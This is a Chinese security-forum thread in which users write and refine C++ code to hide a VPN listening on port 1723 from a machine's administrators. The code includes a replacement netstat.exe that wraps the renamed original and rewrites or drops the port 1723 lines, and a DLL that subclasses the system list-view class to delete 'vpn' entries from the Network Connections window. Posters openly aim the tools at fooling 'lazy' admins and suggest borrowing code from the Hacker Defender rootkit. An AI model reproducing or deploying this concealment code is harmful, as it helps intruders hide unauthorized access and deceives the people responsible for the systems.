发新话题
打印

[原创]VPN的1723端口隐藏的实现

[原创]VPN的1723端口隐藏的实现

文章作者:zshoucheng
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

本文针对论坛会员 独孤E人 所发表的 <<VPN的1723端口隐藏求救>>
原帖见于:http://forum.eviloctal.com/read-htm-tid-30212.html

基本思路见http://forum.eviloctal.com/read- ... ge-e-fpage-1.html#a
由于那里的源码是VC++2005 C++/CLI编译,运行时不仅要 .NET 还要带个msvcm80.dll,
不方便使用,于是用VC++6.0重写了下.因为这个代码可以扩展 定制,所以发到原创
代码如下:
复制内容到剪贴板
代码:
/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;

char buf[100]={0};

char* LogFile()
{  
  GetTempPath(64,buf);
  strcat(buf,"port.log");
  return buf;
}

int main(int argc,char* argv[])
{
  string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
  string oldPort = "1723"; //需要隐藏的端口
  string newPort = "80 "; //替换为新的端口
  if (argc != 1)
  {
    for (int i=1;i<argc;i++)
    {
      cmd += " ";
      cmd += argv[i];
    }
  }
  cmd += ">";
  cmd += LogFile();   
  system(cmd.c_str());
  ifstream in(LogFile());
  string tmp[256];
  for (int j=0;j<256 && in;j++)
  {
    getline(in,tmp[j],&#39;\n&#39;);
    int index = (tmp[j]).find(oldPort,4);
    if (index!=string::npos)
    {  
      tmp[j].replace(index,4,newPort);
    }
    cout<<tmp[j].c_str()<<endl;
  }
return 0;
}

附件

netstat.rar (68 KB)

2007-8-12 22:33, 下载次数: 314

netstat.exe

--->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

TOP

思路有点意思.
用管道岂不更爽快.

TOP

提个问题,万一主机上没有开放80端口的web服务怎么办?
安全就象毒品一样,上瘾了就戒不掉了 http://www.6code.net

TOP

引用:
引用第2楼zhouzhen于2007-08-14 09:15发表的 :
提个问题,万一主机上没有开放80端口的web服务怎么办?

改为 80 端口是按照 独孤E人 的要求写的,
而且这个代码可以定制的嘛
服务器提供某种服务总该开个端口吧

或者干脆抹掉带有1723端口的那一行

只需将代码中的:
tmp[j].replace(index,4,newPort);

的地方改为:
tmp[j].erase();
continue; //8月28日更新

即可
--->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

TOP

针对netstat来说,思路确实不错。简单而且实用,但是我发现很多管理员一般都是喜欢用GUI的端口查看器,尤其是现如今很多防火墙或者系统维护工具都带有端口查看的功能,这个可不是我瞎说啊,我看过很多管理员都是用GUI的端口查看器。所以,这种方法的局限性也就暴露出来了,我想解决这个东西的最根本的办法还是要从底层来考虑了。
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

确实,这个程序叫zshoucheng定做的,完全符合我的情况,而且测试效果不错。
最后还有点解决不了的就是网络连接里的图标,我实在找不到有关方法来单独隐藏VPN的图标,只有采取隐藏本地连接的方法同时来隐藏VPN图标,只要稍有经验的管理员看了就明白了,不过暂时也只有这样了,对付下SB管理员或懒的管理员还是可行的。
We are not the only ones,but we will try to be the best!

TOP

替换为tmp[j].erase()之后
那一行不是被抹去 而是就显示为空
和正常的netstat运行结果不一样
如下所示:
TCP  127.0.0.1:46897    0.0.0.0:0       LISTENING
TCP  192.168.10.102:139   0.0.0.0:0       LISTENING
TCP  192.168.10.102:1095  121.0.19.151:16000   ESTABLISHED

UDP  0.0.0.0:445      *:*
UDP  0.0.0.0:500      *:*

TOP

若要隐藏包含特定端口的行
改成这样我觉得更合适些:
复制内容到剪贴板
代码:
/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;

char buf[100]={0};

char* LogFile()
{  
  GetTempPath(64,buf);
  strcat(buf,"port.log");
  return buf;
}

int main(int argc,char* argv[])
{
  string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
  string oldPort = "80"; //需要隐藏的端口
  string newPort = "90 "; //替换为新的端口
  if (argc != 1)
  {
    for (int i=1;i<argc;i++)
    {
      cmd += " ";
      cmd += argv[i];
    }
  }
  cmd += ">";
  cmd += LogFile();   
  system(cmd.c_str());
  printf("%s",cmd.c_str());
  ifstream in(LogFile());
  string tmp;
  for (int j=0;j<256 && in;j++)
  {
    getline(in,tmp,&#39;\n&#39;);
    int index = (tmp).find(oldPort,4);
    if (index!=string::npos)
    {  
      //tmp[j].replace(index,4,newPort);
      tmp.erase();
    }
    else
      cout<<tmp.c_str()<<endl;

  }
  return 0;
}

TOP

引用:
引用第7楼slutter于2007-08-28 18:11发表的 :
若要隐藏包含特定端口的行
改成这样我觉得更合适些:
.......
由于给独孤E人定做的时候是要求替换为80端口,
至于抹去含有特定端口的那一行没有测试。。

你所说的会输出一个空白行
其实只需在

tmp[j].erase();

后面加上一个 continue; 就可以了
--->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

TOP

引用:
引用第5楼独孤依人于2007-08-14 18:39发表的 :
确实,这个程序叫zshoucheng定做的,完全符合我的情况,而且测试效果不错。
最后还有点解决不了的就是网络连接里的图标,我实在找不到有关方法来单独隐藏VPN的图标,只有采取隐藏本地连接的方法同时来隐藏VPN图标,只要稍有经验的管理员看了就明白了,不过暂时也只有这样了,对付下SB管理员或懒的管理员还是可行的。
系统托盘区的图标是可以编程来访问和控制蝗,在CSDN上看到过C++和MASM32写的枚举托盘区的图标的代码,改一下就可以实现图标的隐藏了

TOP

针对netstat实用性确实很强
但对于防火墙或一些别的工具缺点一样突出

TOP

晕,这也算是端口隐藏~~

TOP

端口隐藏为什么不使用黑客守卫者呢 这个问题我也很感兴趣 呵   我还想请教一下这里的分支里的陆游怎么能看不见

附件

11.jpg (111.16 KB)

2008-7-26 22:46

11.jpg

TOP

网络连接那里隐藏VPN的图标可以用窗口子类化
复制内容到剪贴板
代码:
#include "stdafx.h"
#include <windows.h>
#include <CommCtrl.h>
#include <process.h>
#include <tchar.h>
#include <shlwapi.h>

#define MAGIC_NUMBER    (0x20)
WNDPROC lpfnSupperClassProc=NULL;

__forceinline
void HideItem(HWND hListCtrl,DWORD dwItemcount)
{
    LVITEM li={0};
    char text[50]={0};
    li.pszText=text;
    li.cchTextMax=50;
   
    for(DWORD i=0;i<dwItemcount;i++)
    {
        CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li);
        
        if(StrStrI(li.pszText,_T("vpn"))!=NULL)
            CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0);
    }
}

LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
    DWORD dwItemcount=0;
    if(WM_PAINT==uMsg)
    {
        dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0);
        if(dwItemcount<MAGIC_NUMBER)
            HideItem(hwnd,dwItemcount);
    }
        
    return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);
}

__forceinline
BOOL InstallListFilter()
{
    BOOL bRet=FALSE;
    HWND hWnd=NULL;
   
    INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES};
    bRet=InitCommonControlsEx(&cls);

    if(bRet)
    {
        hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0,
                                NULL,NULL,NULL,NULL);

        lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC);
        SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc);
        
        DestroyWindow(hWnd);
    }
   
    return bRet;
}

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if(DLL_PROCESS_ATTACH==ul_reason_for_call)   
        InstallListFilter();
    return TRUE;
}
[ 本帖最后由 classicwind 于 2008-7-28 14:33 编辑 ]

TOP

VPN服务器的管理员未必用netstat -an查端口连接,.有些为了方便直接用工具的,这样代码是无效了.
要是强大就HOOK列举网络连接方面的函数,隐藏之...
最后,还是感得端口转发强大...

TOP

这年头  都在墙里看 端口 还是1723  工具里看也是1723

借助HXDEF里的隐藏代码抄出来 不是更好点?

TOP

发新话题